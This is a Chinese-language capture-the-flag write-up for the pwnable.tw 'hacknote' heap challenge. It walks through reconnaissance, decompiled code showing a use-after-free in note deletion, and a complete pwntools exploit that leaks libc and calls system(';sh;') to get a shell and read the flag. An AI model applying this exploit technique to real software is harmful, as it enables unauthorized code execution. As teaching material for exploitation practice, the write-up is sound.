Pwnable.tw hacknote Writeup

kazma 成大資安社 創辦人/社長

Pwnable.tw - hacknote

Description

A good Hacker should always take good notes!

Source

https://pwnable.tw/challenge/#5

0x1 Initial Reconnaissance

經典 heap 選單題,我們來分析一下他:

file

1
2
└─$ file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped

checksec

1
2
3
4
5
6
7
└─$ checksec hacknote
[*] '/home/kazma/pwnabletw/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)

./hacknote

1
2
3
4
5
6
7
8
9
10
└─$ ./hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

x86 並且 stripped

0x2 Reverse Engineering

我們看一下比較特別的部分:

add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int canary; // [esp+1Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
if ( note_count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = puts_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++note_count;
return __readgsdword(0x14u) ^ canary;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ canary;
}

我們搭配動態分析了解一下他是怎麼新增筆記的。
首先把斷點下在 exit,然後新增一個大小為 32 內容為 aaaabbbb 的筆記觀察一下他的結構:
add_struct
struct2
可以看到他每一個筆記都會 malloc 兩次,首先固定會 malloc(8) 並且前 4 bytes 為一個會印出後 4 bytes 內容的功能,再來後 4 bytes 放的就是實際內容的 pointer,那要印出筆記內容的時候就會去呼叫這個印出內容的函式。
嗯,好酷的設計,有點硬要 XD

delete_note

再來就是漏洞的關鍵點:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int delete_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int canary; // [esp+Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= note_count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ canary;
}

他釋放的時候沒有正確清空記憶體,導致資料殘留形成 dangling pointer,因此有 UAF 可以利用。
逆向分析大概看到這邊,接著計畫我們的攻擊路線。

0x3 Exploitation

  1. 首先我們可以先宣告兩個筆記,然後再釋放掉其中一個避免被 Top Chunk 回收。
  2. 再來我們故意跟他要一個 8 bytes 大小的筆記,如此就可以對剛剛刪除的筆記修改他印出時的行為,這裡我們可以填入 puts_content 後面放某個 GOT 的 pointer,再印出刪除的那個筆記內容,就可以透過減掉對應的 offset 成功 leak libc_base。
  3. 有了 libc_base 後我們就可以重複剛剛的行為呼叫 system(‘sh’)
  4. 不過因為我們必須填入 4 bytes,這裡參考網路上大致有兩種做法, ‘;sh;’ 和 ‘||sh’
  5. Pwned!!!

0x4 Exploit

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = "i386"

host = "chall.pwnable.tw"
port = 10102
puts_addr = 0x804862B

elf = ELF("./hacknote")
l = ELF("libc_32.so.6")


def add(size, data):
r.sendafter(b":", "1")
r.sendafter(b":", str(size))
r.sendafter(b":", data)


def delete(index):
r.sendafter(b":", "2")
r.sendafter(b":", str(index))


def show(index):
r.sendafter(b":", "3")
r.sendafter(b":", str(index))


if len(sys.argv) > 1 and sys.argv[1] == "-r":
r = remote(host, port)
else:
r = process("./hacknote")

add(0x20, "aaaa")
add(0x20, "bbbb")

delete(0)
delete(1)

add(8, p32(puts_addr) + p32(elf.got["puts"]))
show(0)

l.address = u32(r.recv(4)) - l.sym.puts
success("libc_base -> %s" % hex(l.address))

delete(2)
add(8, p32(l.sym.system) + b";sh;")

show(0)

r.sendline("cat /home/`whoami`/flag")
r.interactive()

result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ python exploit.py -r
[*] '/home/kazma/pwnabletw/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
[*] '/home/kazma/pwnabletw/hacknote/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10102: Done
[+] libc_base -> 0xf758c000
[*] Switching to interactive mode
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
$

0x5 Pwned!!!

  • Title: Pwnable.tw hacknote Writeup
  • Author: kazma
  • Created at : 2024-06-04 23:02:05
  • Updated at : 2024-06-04 23:02:05
  • Link: https://kazma.tw/2024/06/04/Pwnable-tw-hacknote-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments